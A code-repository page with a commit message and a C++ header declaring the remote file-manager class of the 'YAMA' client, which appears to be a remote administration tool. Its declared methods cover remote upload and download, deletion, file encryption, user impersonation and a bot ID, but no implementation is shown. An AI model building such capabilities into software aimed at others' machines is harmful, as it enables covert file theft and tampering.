Migrate the SimplePlugins file-management feature into the YAMA client as an experimental feature. The migrated CFileManager, MasterEncoder and Info-Zip sources live under client/file/ and are isolated in the SimplePluginsFile namespace to avoid clashing with the native FileManager class. Add COMMAND_FILE_MANAGER_PLUGIN (163) and LoopFileManagerPlugin, spawned as a sub-connection from KernelManager. Add an "实验功能" submenu with a "文件管理" entry above "客户管理" in the online-hosts right-click menu, routed via OnExperimentFileManager to the existing TOKEN_DRIVE_LIST_PLUGIN dialog path. Co-Authored-By: deepseek-v4-pro
153 lines
4.3 KiB
C++
153 lines
4.3 KiB
C++
#include <winsock2.h>
|
|
#include <list>
|
|
#include <string>
|
|
#include "Manager.h"
|
|
#include <sstream>
|
|
#include "zip.h"
|
|
|
|
#pragma once
|
|
#include <winioctl.h>
|
|
typedef LONG NTSTATUS; // 仅声明 NTSTATUS;不引入 <winternl.h>,避免 STRING/UNICODE_STRING/OBJ_CASE_INSENSITIVE/FILE_OPEN 等宏与本地命名冲突
|
|
#include "MasterEncoder.h"
|
|
|
|
namespace SimplePluginsFile {
|
|
|
|
typedef struct {
|
|
UINT nFileSize; // 文件大小
|
|
UINT nSendSize; // 已发送大小
|
|
} SENDFILEPROGRESS, * PSENDFILEPROGRESS;
|
|
|
|
typedef struct {
|
|
DWORD dwSizeHigh;
|
|
DWORD dwSizeLow;
|
|
BOOL error;
|
|
} FILESIZE;
|
|
|
|
|
|
typedef struct {
|
|
TCHAR SearchFileName[MAX_PATH];
|
|
TCHAR SearchPath[MAX_PATH];
|
|
BOOL bEnabledSubfolder;
|
|
} FILESEARCH;
|
|
|
|
|
|
typedef struct {
|
|
BYTE Token;
|
|
int w,h,size;
|
|
} FILEPICINFO;
|
|
|
|
|
|
struct SEARCH {
|
|
TCHAR TC_disk[8];
|
|
TCHAR TC_search[MAX_PATH];
|
|
};
|
|
|
|
typedef struct _IO_STATUS_BLOCK {
|
|
union {
|
|
NTSTATUS Status;
|
|
PVOID Pointer;
|
|
};
|
|
ULONG_PTR Information;
|
|
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
|
|
|
|
typedef struct _FILE_NAME_INFORMATION {
|
|
ULONG FileNameLength;
|
|
WCHAR FileName[MAX_PATH];
|
|
} FILE_NAME_INFORMATION;
|
|
|
|
typedef LONG(__stdcall* ZwQueryInformationFile) (
|
|
IN HANDLE FileHandle,
|
|
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
|
OUT PVOID FileInformation,
|
|
IN ULONG FileInformationLength,
|
|
IN ULONG FileInformationClass
|
|
);
|
|
|
|
WCHAR* ConvertTCharToWChar(const TCHAR* ansiStr);
|
|
|
|
class CFileManager : public CManager
|
|
{
|
|
public:
|
|
MasterEncoder m_encoder;
|
|
DWORD dwRet;
|
|
void OnReceive(LPBYTE lpBuffer, ULONG nSize);
|
|
UINT SendDriveList();
|
|
CFileManager(ISocketBase* pClient, int n, void* user);
|
|
virtual ~CFileManager();
|
|
private:
|
|
LPBYTE lpSendPacket;
|
|
std::list <std::string> m_UploadList;
|
|
BOOL m_bIsWow64;
|
|
UINT m_nTransferMode;
|
|
HANDLE m_hFileSend;
|
|
HANDLE m_hFileRecv;
|
|
TCHAR m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
|
|
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
|
|
bool benofrce;
|
|
TCHAR* copyfile;
|
|
HANDLE ImpersonateLoggedOnUserWrapper();
|
|
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
|
bool UploadToRemote(LPBYTE lpBuffer);
|
|
bool FixedUploadList(LPCTSTR lpszDirectory);
|
|
void StopTransfer(BOOL bIsUpload);
|
|
UINT SendFilesList(TCHAR* lpszDirectory);
|
|
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
|
UINT SendFileSize(LPCTSTR lpszFileName);
|
|
void SendFileData(LPBYTE lpBuffer);
|
|
void CreateFolder(LPBYTE lpBuffer);
|
|
void Rename(LPBYTE lpBuffer);
|
|
int SendToken(BYTE bToken);
|
|
|
|
void CreateLocalRecvFile(LPBYTE lpBuffer);
|
|
void SetTransferMode(LPBYTE lpBuffer);
|
|
void GetFileData();
|
|
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
|
|
void UploadNext();
|
|
BOOL OpenFile(LPCTSTR lpFile, INT nShowCmd);
|
|
void ExeCompress(BYTE* lpBuffer);
|
|
void SendSearchData(LPBYTE lpBuffer);
|
|
BOOL GetVolumeNameByHandle(HANDLE hFile, char* szFullPath);
|
|
void GetFullPathByFileReferenceNumber(HANDLE hVol, DWORDLONG FileReferenceNumber);
|
|
|
|
protected:
|
|
HANDLE m_hWorkThread;
|
|
BOOL bIsStopSearch;
|
|
FILESEARCH filesearch;
|
|
|
|
void StopSearchTheard();
|
|
void SendSearchFilesList(LPCTSTR str);
|
|
static void WINAPI FindFileThread(LPVOID lparam);
|
|
void FindFileInDir(TCHAR* rootDir, TCHAR* searchfilename, BOOL bEnabledSubfolder);
|
|
TCHAR g_desktopName[MAX_PATH];
|
|
ULONG PseudoRand(ULONG* seed);
|
|
void GetBotId(TCHAR* botId);
|
|
HDESK g_hDesk;;
|
|
bool getLnkFormPath(TCHAR* lnkPath, TCHAR* szoutPath);
|
|
void SendNetHood(); //发送共享文件目录
|
|
void encfile(char* in_filename);
|
|
void decryptfile(char* in_filename);
|
|
bool FnDelPathFile(TCHAR* tc_path);
|
|
|
|
TCHAR* zippath_t;
|
|
HANDLE m_hWorkZIPThread;
|
|
BOOL bIsStopZIP;
|
|
void StopZIPTheard();
|
|
void StartZIP();
|
|
static void WINAPI FindZIPThread(LPVOID lparam);
|
|
void FindFileInDirZipAdd(TCHAR* rootDir, HZIP hz,int pathlen);
|
|
|
|
//info
|
|
void SendFileInfo(TCHAR* filepath,TCHAR * type);
|
|
bool ResizePicture(TCHAR* strSource);
|
|
|
|
TCHAR* volName; // 驱动盘名称
|
|
TCHAR* tc_search; // 搜索关键词
|
|
HANDLE hVol; // 用于储存驱动盘句柄
|
|
USN_JOURNAL_DATA UsnInfo; // 用于储存USN日志的基本信息
|
|
long counter;
|
|
LPBYTE lpBuffer;
|
|
char* c_pathname;
|
|
};
|
|
|
|
}
|